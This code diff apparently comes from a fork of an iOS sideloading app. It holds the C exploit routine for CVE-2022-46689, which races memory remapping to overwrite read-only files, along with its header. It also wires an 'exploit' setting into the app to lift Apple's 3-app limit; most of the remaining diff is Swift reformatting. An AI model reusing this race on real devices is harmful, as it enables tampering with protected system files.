for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
//b=no diff?
fprintf(stderr, "uewiyfih");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
/* get a memory entry handle for that RW memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_w,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
//c=wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mutex_thingy);
/* start racing thread */
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
// T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->ob_sizing,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->ob_sizing);
/* map our read-only target memory right after */
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mutex_thingy);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
//c = RO mapping was modified
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mutex_thingy);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
ctx->vmaddress_zeroe = 0;
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
e2 = 0;
if (!is_still_equal) {
retval = true;
// fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->finished = true;
pthread_mutex_unlock(&ctx->mutex_thingy);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
//#if 0
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
// kern_success, kern_protection_failure, kern_other);
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
//#endif
return retval;
}

View File

@@ -0,0 +1,8 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);

View File

@@ -392,7 +392,8 @@ extension AppManager
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void) func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
{ {
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
print("Authenticated for fetching App IDs with result:", result) // result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
//print("Authenticated for fetching App IDs with result:", result)
} }
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context) let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)

View File

@@ -6,13 +6,13 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import UIKit
import MobileCoreServices
import Intents
import Combine import Combine
import Intents
import MobileCoreServices
import UIKit
import AltStoreCore
import AltSign import AltSign
import AltStoreCore
import Roxas import Roxas
import Nuke import Nuke
@@ -151,8 +151,7 @@ final class MyAppsViewController: UICollectionViewController
} }
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue) @IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
{ {}
}
} }
private extension MyAppsViewController private extension MyAppsViewController
@@ -170,7 +169,7 @@ private extension MyAppsViewController
dynamicDataSource.numberOfSectionsHandler = { 1 } dynamicDataSource.numberOfSectionsHandler = { 1 }
dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 } dynamicDataSource.numberOfItemsHandler = { _ in self.updatesDataSource.itemCount == 0 ? 1 : 0 }
dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" } dynamicDataSource.cellIdentifierHandler = { _ in "NoUpdatesCell" }
dynamicDataSource.cellConfigurationHandler = { (cell, _, indexPath) in dynamicDataSource.cellConfigurationHandler = { cell, _, _ in
let cell = cell as! NoUpdatesCollectionViewCell let cell = cell as! NoUpdatesCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right cell.layoutMargins.right = self.view.layoutMargins.right
@@ -193,7 +192,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext) let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.liveFetchLimit = maximumCollapsedUpdatesCount dataSource.liveFetchLimit = maximumCollapsedUpdatesCount
dataSource.cellIdentifierHandler = { _ in "UpdateCell" } dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in dataSource.cellConfigurationHandler = { [weak self] cell, installedApp, _ in
guard let self = self else { return } guard let self = self else { return }
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return } guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
@@ -245,11 +244,12 @@ private extension MyAppsViewController
cell.setNeedsLayout() cell.setNeedsLayout()
} }
dataSource.prefetchHandler = { (installedApp, indexPath, completionHandler) in dataSource.prefetchHandler = { installedApp, _, completionHandler in
guard let iconURL = installedApp.storeApp?.iconURL else { return nil } guard let iconURL = installedApp.storeApp?.iconURL else { return nil }
return RSTAsyncBlockOperation() { (operation) in return RSTAsyncBlockOperation
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in { operation in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in
guard !operation.isCancelled else { return operation.finish() } guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image if let image = response?.image
@@ -263,7 +263,7 @@ private extension MyAppsViewController
}) })
} }
} }
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in dataSource.prefetchCompletionHandler = { cell, image, _, error in
let cell = cell as! UpdateCollectionViewCell let cell = cell as! UpdateCollectionViewCell
cell.bannerView.iconImageView.isIndicatingActivity = false cell.bannerView.iconImageView.isIndicatingActivity = false
cell.bannerView.iconImageView.image = image cell.bannerView.iconImageView.image = image
@@ -288,7 +288,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext) let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" } dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in dataSource.cellConfigurationHandler = { cell, installedApp, indexPath in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell let cell = cell as! InstalledAppCollectionViewCell
@@ -363,10 +363,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil cell.bannerView.button.progress = nil
} }
} }
dataSource.prefetchHandler = { (item, indexPath, completion) in dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation { (operation) in RSTAsyncBlockOperation
item.managedObjectContext?.perform { { _ in
item.loadIcon { (result) in item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result switch result
{ {
case .failure(let error): completion(nil, error) case .failure(let error): completion(nil, error)
@@ -376,7 +379,7 @@ private extension MyAppsViewController
} }
} }
} }
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -397,7 +400,7 @@ private extension MyAppsViewController
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext) let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellIdentifierHandler = { _ in "AppCell" } dataSource.cellIdentifierHandler = { _ in "AppCell" }
dataSource.cellConfigurationHandler = { (cell, installedApp, indexPath) in dataSource.cellConfigurationHandler = { cell, installedApp, _ in
let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary let tintColor = installedApp.storeApp?.tintColor ?? .altPrimary
let cell = cell as! InstalledAppCollectionViewCell let cell = cell as! InstalledAppCollectionViewCell
@@ -437,10 +440,13 @@ private extension MyAppsViewController
cell.bannerView.button.progress = nil cell.bannerView.button.progress = nil
} }
} }
dataSource.prefetchHandler = { (item, indexPath, completion) in dataSource.prefetchHandler = { item, _, completion in
RSTAsyncBlockOperation { (operation) in RSTAsyncBlockOperation
item.managedObjectContext?.perform { { _ in
item.loadIcon { (result) in item.managedObjectContext?.perform
{
item.loadIcon
{ result in
switch result switch result
{ {
case .failure(let error): completion(nil, error) case .failure(let error): completion(nil, error)
@@ -450,7 +456,7 @@ private extension MyAppsViewController
} }
} }
} }
dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in dataSource.prefetchCompletionHandler = { cell, image, _, _ in
let cell = cell as! InstalledAppCollectionViewCell let cell = cell as! InstalledAppCollectionViewCell
cell.bannerView.iconImageView.image = image cell.bannerView.iconImageView.image = image
cell.bannerView.iconImageView.isIndicatingActivity = false cell.bannerView.iconImageView.isIndicatingActivity = false
@@ -461,10 +467,7 @@ private extension MyAppsViewController
func updateDataSource() func updateDataSource()
{ {
self.dataSource.predicate = nil
self.dataSource.predicate = nil
} }
} }
@@ -485,15 +488,17 @@ private extension MyAppsViewController
if self.isViewLoaded if self.isViewLoaded
{ {
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue)) self.collectionView.reloadSections(IndexSet(integer: Section.updates.rawValue))
} }
} }
} }
func fetchAppIDs() func fetchAppIDs()
{ {
AppManager.shared.fetchAppIDs { (result) in AppManager.shared.fetchAppIDs
{ result in
do do
{ {
let (_, context) = try result.get() let (_, context) = try result.get()
@@ -506,12 +511,14 @@ private extension MyAppsViewController
} }
} }
func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void) func refresh(_ installedApps: [InstalledApp], completionHandler: @escaping ([String: Result<InstalledApp, Error>]) -> Void)
{ {
let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup) let group = AppManager.shared.refresh(installedApps, presentingViewController: self, group: self.refreshGroup)
group.completionHandler = { (results) in group.completionHandler = { results in
DispatchQueue.main.async { DispatchQueue.main.async
let failures = results.compactMapValues { (result) -> Error? in {
let failures = results.compactMapValues
{ result -> Error? in
switch result switch result
{ {
case .failure(OperationError.cancelled): return nil case .failure(OperationError.cancelled): return nil
@@ -557,7 +564,8 @@ private extension MyAppsViewController
self.refreshGroup = group self.refreshGroup = group
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue]) self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
} }
} }
@@ -570,7 +578,6 @@ private extension MyAppsViewController
let visibleCells = self.collectionView.visibleCells let visibleCells = self.collectionView.visibleCells
self.collectionView.performBatchUpdates({ self.collectionView.performBatchUpdates({
self.isUpdateSectionCollapsed.toggle() self.isUpdateSectionCollapsed.toggle()
UIView.animate(withDuration: 0.3, animations: { UIView.animate(withDuration: 0.3, animations: {
@@ -644,8 +651,10 @@ private extension MyAppsViewController
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext) let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
self.refresh(installedApps) { (result) in self.refresh(installedApps)
DispatchQueue.main.async { { _ in
DispatchQueue.main.async
{
self.isRefreshingAllApps = false self.isRefreshingAllApps = false
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue]) self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
} }
@@ -654,7 +663,8 @@ private extension MyAppsViewController
if #available(iOS 14, *) if #available(iOS 14, *)
{ {
let interaction = INInteraction.refreshAllApps() let interaction = INInteraction.refreshAllApps()
interaction.donate { (error) in interaction.donate
{ error in
guard let error = error else { return } guard let error = error else { return }
print("Failed to donate intent \(interaction.intent).", error) print("Failed to donate intent \(interaction.intent).", error)
} }
@@ -669,13 +679,17 @@ private extension MyAppsViewController
let installedApp = self.dataSource.item(at: indexPath) let installedApp = self.dataSource.item(at: indexPath)
let previousProgress = AppManager.shared.installationProgress(for: installedApp) let previousProgress = AppManager.shared.installationProgress(for: installedApp)
guard previousProgress == nil else { guard previousProgress == nil
else
{
previousProgress?.cancel() previousProgress?.cancel()
return return
} }
_ = AppManager.shared.update(installedApp, presentingViewController: self) { (result) in _ = AppManager.shared.update(installedApp, presentingViewController: self)
DispatchQueue.main.async { { result in
DispatchQueue.main.async
{
switch result switch result
{ {
case .failure(OperationError.cancelled): case .failure(OperationError.cancelled):
@@ -727,11 +741,14 @@ private extension MyAppsViewController
{ {
var fileURL: URL? var fileURL: URL?
var application: ALTApplication? var application: ALTApplication?
var installedApp: InstalledApp? { var installedApp: InstalledApp?
didSet { {
didSet
{
self.installedAppContext = self.installedApp?.managedObjectContext self.installedAppContext = self.installedApp?.managedObjectContext
} }
} }
private var installedAppContext: NSManagedObjectContext? private var installedAppContext: NSManagedObjectContext?
var error: Error? var error: Error?
@@ -753,8 +770,10 @@ private extension MyAppsViewController
else else
{ {
let downloadProgress = Progress.discreteProgress(totalUnitCount: 100) let downloadProgress = Progress.discreteProgress(totalUnitCount: 100)
downloadOperation = RSTAsyncBlockOperation { (operation) in downloadOperation = RSTAsyncBlockOperation
let downloadTask = URLSession.shared.downloadTask(with: url) { (fileURL, response, error) in { operation in
let downloadTask = URLSession.shared.downloadTask(with: url)
{ fileURL, response, error in
do do
{ {
let (fileURL, _) = try Result((fileURL, response), error).get() let (fileURL, _) = try Result((fileURL, response), error).get()
@@ -779,7 +798,8 @@ private extension MyAppsViewController
} }
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1) let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
let unzipAppOperation = BlockOperation { let unzipAppOperation = BlockOperation
{
do do
{ {
if let error = context.error if let error = context.error
@@ -788,7 +808,8 @@ private extension MyAppsViewController
} }
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters } guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
defer { defer
{
try? FileManager.default.removeItem(at: fileURL) try? FileManager.default.removeItem(at: fileURL)
} }
@@ -813,7 +834,8 @@ private extension MyAppsViewController
} }
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1) let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in let removeAppExtensionsOperation = RSTAsyncBlockOperation
{ [weak self] operation in
do do
{ {
if let error = context.error if let error = context.error
@@ -823,8 +845,10 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters } guard let application = context.application else { throw OperationError.invalidParameters }
DispatchQueue.main.async { DispatchQueue.main.async
self?.removeAppExtensions(from: application) { (result) in {
self?.removeAppExtensions(from: application)
{ result in
switch result switch result
{ {
case .success: removeAppExtensionsProgress.completedUnitCount = 1 case .success: removeAppExtensionsProgress.completedUnitCount = 1
@@ -844,7 +868,8 @@ private extension MyAppsViewController
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5) progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
let installProgress = Progress.discreteProgress(totalUnitCount: 100) let installProgress = Progress.discreteProgress(totalUnitCount: 100)
let installAppOperation = RSTAsyncBlockOperation { (operation) in let installAppOperation = RSTAsyncBlockOperation
{ operation in
do do
{ {
if let error = context.error if let error = context.error
@@ -854,7 +879,8 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters } guard let application = context.application else { throw OperationError.invalidParameters }
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in let group = AppManager.shared.install(application, presentingViewController: self)
{ result in
switch result switch result
{ {
case .success(let installedApp): context.installedApp = installedApp case .success(let installedApp): context.installedApp = installedApp
@@ -873,7 +899,8 @@ private extension MyAppsViewController
installAppOperation.completionBlock = { installAppOperation.completionBlock = {
try? FileManager.default.removeItem(at: temporaryDirectory) try? FileManager.default.removeItem(at: temporaryDirectory)
DispatchQueue.main.async { DispatchQueue.main.async
{
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
self.sideloadingProgressView.observedProgress = nil self.sideloadingProgressView.observedProgress = nil
self.sideloadingProgressView.setHidden(true, animated: true) self.sideloadingProgressView.setHidden(true, animated: true)
@@ -883,12 +910,13 @@ private extension MyAppsViewController
case .success(let app): case .success(let app):
completion(.success(())) completion(.success(()))
app.managedObjectContext?.perform { app.managedObjectContext?.perform
{
print("Successfully installed app:", app.bundleIdentifier) print("Successfully installed app:", app.bundleIdentifier)
} }
case .failure(OperationError.cancelled): case .failure(OperationError.cancelled):
completion(.failure((OperationError.cancelled))) completion(.failure(OperationError.cancelled))
case .failure(let error): case .failure(let error):
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
@@ -930,11 +958,17 @@ private extension MyAppsViewController
@objc func presentInactiveAppsAlert() @objc func presentInactiveAppsAlert()
{ {
let message: String var message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions if UserDefaults.standard.activeAppLimitIncludesExtensions
{ {
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "") message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
if UserDefaults.standard.enableCowExploit
{
message += "\n\n"
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
}
} }
else else
{ {
@@ -974,13 +1008,15 @@ private extension MyAppsViewController
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "") let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert) let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
completion(.failure(OperationError.cancelled)) completion(.failure(OperationError.cancelled))
})) }))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
{ _ in
completion(.success(())) completion(.success(()))
}) })
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
{ _ in
do do
{ {
for appExtension in application.appExtensions for appExtension in application.appExtensions
@@ -1004,7 +1040,8 @@ private extension MyAppsViewController
{ {
func open(_ installedApp: InstalledApp) func open(_ installedApp: InstalledApp)
{ {
UIApplication.shared.open(installedApp.openAppURL) { success in UIApplication.shared.open(installedApp.openAppURL)
{ success in
guard !success else { return } guard !success else { return }
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name)) let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
@@ -1015,16 +1052,20 @@ private extension MyAppsViewController
func refresh(_ installedApp: InstalledApp) func refresh(_ installedApp: InstalledApp)
{ {
let previousProgress = AppManager.shared.refreshProgress(for: installedApp) let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
guard previousProgress == nil else { guard previousProgress == nil
else
{
previousProgress?.cancel() previousProgress?.cancel()
return return
} }
self.refresh([installedApp]) { (results) in self.refresh([installedApp])
{ results in
// If an error occured, reload the section so the progress bar is no longer visible. // If an error occured, reload the section so the progress bar is no longer visible.
if results.values.contains(where: { $0.error != nil }) if results.values.contains(where: { $0.error != nil })
{ {
DispatchQueue.main.async { DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue]) self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
} }
} }
@@ -1040,7 +1081,8 @@ private extension MyAppsViewController
do do
{ {
let app = try result.get() let app = try result.get()
app.managedObjectContext?.perform { app.managedObjectContext?.perform
{
try? app.managedObjectContext?.save() try? app.managedObjectContext?.save()
} }
} }
@@ -1052,7 +1094,8 @@ private extension MyAppsViewController
{ {
print("Failed to activate app:", error) print("Failed to activate app:", error)
DispatchQueue.main.async { DispatchQueue.main.async
{
installedApp.isActive = false installedApp.isActive = false
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
@@ -1073,11 +1116,13 @@ private extension MyAppsViewController
.filter(\.isActive) .filter(\.isActive)
.map { $0.publisher(for: \.isActive) } .map { $0.publisher(for: \.isActive) }
.collect() .collect()
.flatMap { publishers in .flatMap
{ publishers in
Publishers.MergeMany(publishers) Publishers.MergeMany(publishers)
} }
.first { isActive in !isActive } .first { isActive in !isActive }
.sink { _ in .sink
{ _ in
// A previously active app is now inactive, // A previously active app is now inactive,
// which means there are now enough slots to activate the app, // which means there are now enough slots to activate the app,
// so pre-emptively mark it as active to provide visual feedback sooner. // so pre-emptively mark it as active to provide visual feedback sooner.
@@ -1085,9 +1130,11 @@ private extension MyAppsViewController
cancellable?.cancel() cancellable?.cancel()
} }
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in AppManager.shared.deactivateApps(for: app, presentingViewController: self)
{ result in
cancellable?.cancel() cancellable?.cancel()
installedApp.managedObjectContext?.perform { installedApp.managedObjectContext?.perform
{
switch result switch result
{ {
case .failure(let error): case .failure(let error):
@@ -1113,7 +1160,8 @@ private extension MyAppsViewController
guard installedApp.isActive else { return } guard installedApp.isActive else { return }
installedApp.isActive = false installedApp.isActive = false
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in AppManager.shared.deactivate(installedApp, presentingViewController: self)
{ result in
do do
{ {
let app = try result.get() let app = try result.get()
@@ -1125,7 +1173,8 @@ private extension MyAppsViewController
{ {
print("Failed to activate app:", error) print("Failed to activate app:", error)
DispatchQueue.main.async { DispatchQueue.main.async
{
installedApp.isActive = true installedApp.isActive = true
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
@@ -1153,13 +1202,15 @@ private extension MyAppsViewController
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet) let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel) alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.remove(installedApp) { (result) in AppManager.shared.remove(installedApp)
{ result in
switch result switch result
{ {
case .success: break case .success: break
case .failure(let error): case .failure(let error):
DispatchQueue.main.async { DispatchQueue.main.async
{
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.show(in: self) toastView.show(in: self)
} }
@@ -1179,8 +1230,9 @@ private extension MyAppsViewController
alertController.addAction(.cancel) alertController.addAction(.cancel)
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name) let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in AppManager.shared.backup(installedApp, presentingViewController: self)
{ result in
do do
{ {
let app = try result.get() let app = try result.get()
@@ -1192,7 +1244,8 @@ private extension MyAppsViewController
{ {
print("Failed to back up app:", error) print("Failed to back up app:", error)
DispatchQueue.main.async { DispatchQueue.main.async
{
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.show(in: self) toastView.show(in: self)
@@ -1201,7 +1254,8 @@ private extension MyAppsViewController
} }
} }
DispatchQueue.main.async { DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue]) self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
} }
})) }))
@@ -1214,8 +1268,9 @@ private extension MyAppsViewController
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name) let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
